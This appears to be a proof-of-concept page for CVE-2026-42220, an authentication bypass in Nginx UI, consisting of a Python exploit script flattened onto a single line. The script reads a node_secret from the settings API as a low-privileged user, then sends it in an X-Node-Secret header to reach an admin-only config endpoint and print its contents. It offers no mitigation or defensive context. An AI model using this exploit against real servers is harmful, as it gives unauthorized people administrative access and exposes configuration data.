CVE-2026-42220 Nginx UI认证绕过漏洞

import requests # Step 1: Authenticate as a low-privileged user session = requests.Session() # Assume we have valid credentials for a low-priv user login_payload = {"username": "lowpriv_user", "password": "password"} # login_resp = session.post("http://target/api/login", json=login_payload) # Step 2: Retrieve sensitive configuration settings_url = "http://target/api/settings" resp = session.get(settings_url) if resp.status_code == 200: data = resp.json() # The secret is exposed in the settings response secret = data.get("node_secret") if secret: print(f"[+] Exploit: Found node.secret -> {secret}") # Step 3: Use the secret to bypass AuthRequired as a trusted node headers = { "X-Node-Secret": secret } # Accessing a protected endpoint (e.g., admin only) target_url = "http://target/api/admin/config" exploit_resp = requests.get(target_url, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit Successful: Bypassed authentication!") print(exploit_resp.text) else: print("[-] Exploit Failed") else: print("[-] node.secret not found in response") else: print("[-] Failed to retrieve settings")